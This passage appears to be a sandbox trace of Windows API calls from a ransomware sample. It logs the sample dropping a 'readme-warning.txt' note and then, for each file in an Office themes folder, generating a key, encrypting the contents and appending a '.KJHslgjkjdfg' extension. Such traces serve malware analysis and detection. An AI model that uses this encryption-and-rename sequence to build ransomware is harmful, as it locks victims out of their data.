lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.763] GetProcessHeap () returned 0x2a0000 [0146.763] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.763] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0146.763] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0146.763] GetProcessHeap () returned 0x2a0000 [0146.763] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0146.763] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\readme-warning.txt") returned 79 [0146.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.764] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0146.765] CloseHandle (hObject=0x118) returned 1 [0146.765] GetProcessHeap () returned 0x2a0000 [0146.765] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0146.765] GetProcessHeap () returned 0x2a0000 [0146.765] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0146.765] GetProcessHeap () returned 0x2a0000 [0146.765] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0146.765] GetProcessHeap () returned 0x2a0000 [0146.765] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.766] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0146.766] GetProcessHeap () returned 0x2a0000 [0146.766] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0146.766] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0146.766] GetProcessHeap () returned 0x2a0000 [0146.766] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x90) returned 0x2ef2d8 [0146.766] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0146.767] GetProcessHeap () returned 0x2a0000 [0146.767] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0146.767] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0146.767] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 1 [0146.767] GetProcessHeap () returned 0x2a0000 [0146.767] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x292) returned 0x2f32d0 [0146.767] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.768] GetProcessHeap () returned 0x2a0000 [0146.768] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.768] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.768] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.768] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xf, lpOverlapped=0x0) returned 1 [0146.772] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.772] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.772] GetProcessHeap () returned 0x2a0000 [0146.772] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.772] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.772] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.772] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.772] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.773] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.773] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.773] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.773] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.773] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.773] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.773] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.773] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1cf31, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1cf31, lpOverlapped=0x0) returned 1 [0146.775] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1cf40, dwBufLen=0x1cf40 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1cf40) returned 1 [0146.776] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.776] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1cf40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x1cf40, lpOverlapped=0x0) returned 1 [0146.776] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.776] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x1d014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.776] SetEndOfFile (hFile=0x118) returned 1 [0146.779] GetProcessHeap () returned 0x2a0000 [0146.779] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.779] GetProcessHeap () returned 0x2a0000 [0146.779] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.779] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm.kjhslgjkjdfg")) returned 1 [0146.782] CloseHandle (hObject=0x118) returned 1 [0146.782] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ECLIPSE.INF", cAlternateFileName="")) returned 1 [0146.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.784] GetProcessHeap () returned 0x2a0000 [0146.784] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.784] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.784] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.784] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xd, lpOverlapped=0x0) returned 1 [0146.785] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.785] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.785] GetProcessHeap () returned 0x2a0000 [0146.785] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.785] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.785] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.785] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.786] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.786] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.786] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.786] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.786] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.786] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.786] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.786] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.786] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x253, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x253, lpOverlapped=0x0) returned 1 [0146.786] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x260, dwBufLen=0x260 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x260) returned 1 [0146.786] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.786] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x260, lpOverlapped=0x0) returned 1 [0146.786] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.786] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.787] SetEndOfFile (hFile=0x118) returned 1 [0146.789] GetProcessHeap () returned 0x2a0000 [0146.789] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.789] GetProcessHeap () returned 0x2a0000 [0146.789] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.789] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf.kjhslgjkjdfg")) returned 1 [0146.797] CloseHandle (hObject=0x118) returned 1 [0146.797] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0146.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.801] GetProcessHeap () returned 0x2a0000 [0146.801] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.801] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.801] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.801] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xd, lpOverlapped=0x0) returned 1 [0146.803] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.803] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.803] GetProcessHeap () returned 0x2a0000 [0146.803] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.803] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.804] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.804] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.804] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.804] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.804] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.804] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.804] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.804] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.804] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.804] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.804] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x543, lpOverlapped=0x0) returned 1 [0146.804] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x550, dwBufLen=0x550 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x550) returned 1 [0146.804] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.804] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x550, lpOverlapped=0x0) returned 1 [0146.805] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.805] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.805] SetEndOfFile (hFile=0x118) returned 1 [0146.807] GetProcessHeap () returned 0x2a0000 [0146.807] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.807] GetProcessHeap () returned 0x2a0000 [0146.807] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.807] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.kjhslgjkjdfg")) returned 1 [0146.813] CloseHandle (hObject=0x118) returned 1 [0146.813] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0146.813] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.814] GetProcessHeap () returned 0x2a0000 [0146.814] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.814] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.814] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.814] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xd, lpOverlapped=0x0) returned 1 [0146.816] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.816] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.816] GetProcessHeap () returned 0x2a0000 [0146.816] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.816] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.816] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.816] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.816] WriteFile (in: 